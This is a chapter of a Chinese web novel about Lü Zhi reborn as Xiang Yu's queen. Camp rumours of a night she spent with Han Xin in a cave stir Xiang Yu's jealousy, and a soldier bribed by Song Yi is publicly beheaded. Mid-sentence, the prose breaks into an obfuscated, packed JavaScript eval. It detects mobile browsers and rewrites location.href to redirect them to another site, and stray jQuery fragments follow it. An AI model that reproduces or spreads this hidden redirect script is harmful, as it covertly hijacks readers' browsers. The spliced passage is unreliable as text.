51. 流言

作品:《吕雉重生嫁项羽

    项羽这几日总觉得手下看他的眼神似乎怪怪的。


    将领在禀报军情时,目光总是在他脸上多停一瞬,又飞快垂下;巡逻的士卒远远见他策马而来,交头接耳声便倏地一静,那寂静里却充满了欲言又止的嗡嗡声;连平日里最聒噪的龙且,这几日都沉默了许多。


    项羽起初以为自己多心,直到这日清晨,他在校场试马。


    乌骓马性子暴烈,只认他一人。此刻它却有些焦躁,喷着响鼻,不肯好好让侍从刷洗。项羽皱眉,亲自接过鬃刷,大手抚过马颈:“老伙计,怎的也不安稳了?”


    就在这时,不远处草料堆后两名马夫的窃窃私语声随着冬日的风声传来。


    “……都传遍了……”


    “可不是,孤男寡女,深山老洞,一整夜……啧,要说咱们大王何等英雄,竟也……”


    “嘘!你不要命了!”


    话音戛然而止。两名马夫抱着草料仓惶转出,看见手持鬃刷、面沉如水的项羽,吓得魂飞魄散,扑通跪倒在地。


    项羽没说话。他只是站在那儿,脸色瞬间铁青,清晨的阳光将他高大的身影投在地上,拉得很长。乌骓马不安地蹭了蹭他的肩膀。喷出温热而带着草料气息的鼻息,却没能让他眼睫颤动分毫。


    两个马夫跪在尘土里,抖得如同秋风中的枯叶。年长些的那个额头死死抵着地面,年轻的那个则控制不住地抬眼偷觑,正撞上项羽垂落的视线,那里面没有想象中的暴怒,而是一种深不见底的、冰冷的虚无,比雷霆震怒更令人胆寒。年轻人吓得几乎瘫软,喉咙里发出咯咯的轻响。


    项羽在年长的马夫面前停住,开口道:“马吃了不干净的料,会生病;人听了不干净的话……”他顿了顿,指尖一捻,手中那片草叶瞬间化为齑粉,细碎的粉末从他指间簌簌落下,飘落在马夫汗湿的鬓边,“会死。”


    最后那个“死”字,轻得像叹息,却让地上两人猛地一抖,几乎失禁。


    项羽站起身,不再看他们,而是抚着乌骓马的马鬃,声音冷硬道:“各去领二十军棍。”


    两位马夫如临大赦,颤颤巍巍地起身,道:“诺。”


    项羽看着他们离去的背影,呼吸突然变得粗重起来,眼前不受控制地闪过那日的画面:校场之上,韩信与吕雉双剑相抵的刹那,两人几乎贴面相逢。那一瞬间,韩信的目光长久地垂落在她近在咫尺的脸颊上,那眼神……滋生出的是湿漉漉的粘腻。而那短暂的身体贴近,在流言的浸染下,也变得暧昧不清,每一个细节都被放大、扭曲,滋生出无数令人血脉贲张又心寒意冷的想象。


    这些碎片在项羽脑海中疯狂冲撞,与营中窃窃的流言混合发酵,酿成一坛灼穿肺腑的毒酒。在这种无处不在的猜忌面前,他第一次感到了一种沉重的、黏着的无力。他攥紧了双拳,掌心被自己的指甲刺破,那点锐痛却丝毫无法抵消心头那种被无形丝线缓缓缠绕着的沉重窒息感。


    当夜,王府灯火通明。


    吕雉坐在案几一侧,正在翻阅一卷竹简,神情专注。她今夜换了一身新裁的曲裾深衣,茜素红的颜色,在烛火下流溢着温暖的光泽,衬得她的面容愈发皎洁。


    项羽慢慢走向她,身上还携带者屋外的寒气,赤红的眼睛盯住她:“你就没什么要与孤说?”


    吕雉缓缓抬眸,放下竹简:“大王想听我说什么?”


    “说山洞!说那一夜!说营里那些比苍蝇还嗡嗡的脏话!”项羽低吼,如同困兽。


    吕雉静静地看了他片刻,那目光清澈见底,却深邃得让项羽的心直往下沉。她忽然极淡地笑了笑,那笑容里没有温度,只有一种近乎悲凉的洞彻:“我说了,大王便会信吗?”


    项羽语塞。


    “若我说,我与韩信清清白白,洞中一夜,不过为躲避诸侯追绞,所言所行,未逾君臣之礼半步,”吕雉声音平缓,“大王此刻心中,是信我多一分,还是疑我多一分?”


    她站起身,走到帐边,望着外面沉沉的夜色:“流言杀人,从来不用刀剑。它只需在人心最暗处,种下一颗猜忌的种子,然后等着它自己生根、发芽、长成吞噬一切的毒藤。”她回过头,烛光在她眼中跳跃,“大王今日疑我,明日疑韩信,后日……又当如何?这流言起于谁手,目的为何,大王可曾静下心来想过?”


    吕雉忆起上一世,陈平正是用这种噬人心神的流言离间了项羽和范增,范增负气回乡,却死在回乡途中,项羽不仅仅失去了一位谋臣,更是霸业根基的一道致命裂缝。而这一世,刘邦依旧使用这种下作的手段,但矛头,竟是冲着她来的,流言自古以来如附骨之蛆,对于女子更甚,只需几句浮浪的臆测,便能编织成一张挣不脱的罗网,将女子钉在那张失了贞节的耻辱柱上。以项羽多疑的性格,定会因此流言而疑她,她该如何破此局?


    项羽四指收拢,指节被攥得发白。他不是没想过,宋义近日投了刘邦,此计颇有那叛贼的风格。刘邦……那个他一向瞧不起的沛县无赖,竟用如此下作的手段!


    “刘邦小人!宋义奸贼!”他恨声道,将怒火转向明确的敌人。


    “小人奸贼,往往最能击中英雄的弱点。”吕雉走回案前,亲手为他斟了一碗酒,酒液微漾,“大王的弱点是太骄傲,骄傲到不屑解释,骄傲到以为清者自清。可这世道,浑浊者众,你独自清白,便是罪过。”


    她将酒碗推到他面前:“大王,流言的目标,或许从来不是我吕雉的清白,亦非韩信将军的忠诚。它要乱的,是你的心,是你的判断,是你楚军上下同仇敌忾的铁板一块。”


    项羽端起酒碗,一饮而尽,滚烫的酒液烧灼着喉咙,却浇不灭心头的火。他明白吕雉说的都对,可明白和做到,却隔着天堑。山洞中孤男寡女共处一夜的旖旎画面在他脑海中总是挥之不去。


    “孤要杀了刘邦!”他猛地将空碗砸碎在地上,瓷片四溅,“踏平成皋!用他的血,洗净这些污秽!”


    “那正是幕后之人所求。”吕雉声音转冷,“激怒你,让你失去冷静,贸然出击。刘邦虽弱,据险而守,又有张良之辈出谋划策,岂是易与?霸王,怒而兴师,兵家大忌。”


    项羽胸膛剧烈起伏,瞪着吕雉。她太冷静了,冷静得让他陌生,甚至……让他心寒。他的女人,他的王后,此刻更像一个置身事外的谋士,在分析一盘与己无关的棋局。


    “那你告诉孤,”他声音嘶哑,带着最后一丝挣扎,“该如何做?”


    吕雉凝视着他,良久,才轻声道:“大王可还记得,为何而起兵?是恨秦暴政,怜苍生苦,欲解天下倒悬。如今秦虽已灭,天下未安,诸侯各怀异心,百姓仍陷水火。”她顿了顿,“大王之心,若为儿女私情之猜疑、市井流言之龌龊所困,则初心蒙尘,霸业何存?”


    “当务之急,唯有揪出散步流言之人,将其正法,才能安军心,流言便可不攻自破。”


    翌日,冬日的暖阳泼洒下来,将偌大校场照得暖洋洋的。全军将士奉命云集于此,黑压压的人头攒动,铠甲与兵刃反射着刺目的光。


    “可知今日大王紧急召集,所为何事?”队列中,一名校尉低声询问身旁的同僚。


    旁侧一名知晓些许内情的都尉左右瞥了一眼,压低了嗓音:“据说是要当众处置那造谣生事、惑乱军心之人。”


    众人闻言,面面相觑,交头接耳之声尚未成势,便被演武台上骤然响起的沉重脚步声打断。


    只见钟离眜一身银色铠甲,在阳光下


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17031854|189389||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    凛凛生辉,他亲自押着一名被绑的士卒,一步步踏上高台中央。那士卒双腿发软,几乎是被拖行而上。


    “跪下!”钟离眜一声暴喝,瞬间镇住了全场的窃窃私语声。


    那士卒“噗通”一声跪倒在演武台上。钟离眜将手中一个沉甸甸的粗布囊掷于台面。囊口松散,内里黄澄澄的金饼滚落出来,足足有十余锭,在青石台面上撞击出沉闷而诱人的声响,滚得到处都是。


    台下顿时响起一片惊呼声。普通士卒何曾见过这么多黄金?


    钟离眜冰冷的目光扫过全场,待声浪稍息,才用剑鞘抬起那士卒低垂的下巴,声音不高,却清晰传入每个人耳中:“说!这袋金子,从何而来?所为何事?”


    那士卒面无人色,冷汗涔涔,在无数目光的逼视与颈边剑鞘的寒意下,心理防线彻底崩溃,结结巴巴地供述:“小、小人原是……宋义麾下的亲兵。宋义投汉之后,曾密信于小人……这袋金子,便是他差人送来……命、命小人在营中散布谣言,说夫人与韩信将军……在山洞中……有、有苟且之事……意在离间大王与夫人……”


    “宋义何以如此?”钟离眜厉声追问,剑尖已抵至其喉头三寸,寒芒刺肤。


    “只因……”士卒惊恐地瞪大眼睛,嘶声道,“只因夫人乃‘凤命’之女!刘邦欲夺之……以成就其帝王霸业!”


    话音甫落,钟离眜眼中寒光一闪!


    剑刃掠过,快得只余一道残影。


    一颗头颅便与身躯分离,滚落台下,脸上犹自凝固着极致的恐惧与难以置信,双目圆睁,狰狞可怖。前排几名年轻士卒猝不及防,被溅上温热血点,骇得连退数步。


    浓重的血腥味在温暖的空气中迅速弥漫开来。


    钟离眜收剑入鞘,靴底踏过台面尚未凝固的血迹,面对鸦雀无声的万千将士,声音清晰地传遍校场每一个角落:“自今日起,若再有人散步谣言,惑乱军心着,有如此人!”


    声浪在肃杀的空气中回荡,无数士卒下意识地屏住呼吸,不敢再多言一句。


    观礼台侧,吕雉目睹这一切,一直悬着的心这才放了下来。她自知晓流言那一刻起,便令钟离眜去查散步流言之人,钟离眜与韩信交谊深厚,相信他定会尽心竭力,且由他这位素来刚直、深受项羽信任的大将出手,结果也更具说服力。如今元凶伏诛,真相“大白”于众目睽睽之下,至少明面上,这场风波该平息了。


    项羽在更高处的阴影里按剑而立,面色沉静地望着台下。阳光照亮了校场,却照不透他眼底翻涌的浓云。


    雉儿……她为何偏偏让钟离眜去查?是因为钟离眜与韩信是至交吗?她是在替韩信洗刷,还是……在掩饰什么?钟离眜的忠诚他从不怀疑,可正因这份忠诚,若钟离眜也被某些“情谊”或“暗示”所影响,其所查得的“真相”,又有几分是完全的本相?


    山洞那一夜,他原本是知晓的。军报写得清楚,当时他也未曾在意。可为何流言一起,雉儿反应如此迅捷,近乎未卜先知般地着手“平息”?她急于掩盖的,究竟是无法辩白的清白,还是……某种不欲人知、甚至不欲他知的“真实”?


    公开的处决,像一块巨石投入湖面,暂时压下了所有浮起的幽微人心。但项羽心中那颗名为猜忌的种子,非但未被拔除,反而因这过于“圆满”的解决,更深地埋入了土壤之下。


    而千里之外的韩信,对楚营中这场因他而起的腥风血雨毫不知情。他接纳了李左车的谏言,让大军稳驻赵地,休养生息,意图以不战而屈人之兵,迫使燕国和齐国投降。


    军帐内茶烟袅袅,韩信与李左车对坐,正论及燕齐之势。亲卫掀帘而入,躬身抱拳道:“大将军,汉王使臣正在帐外候见。”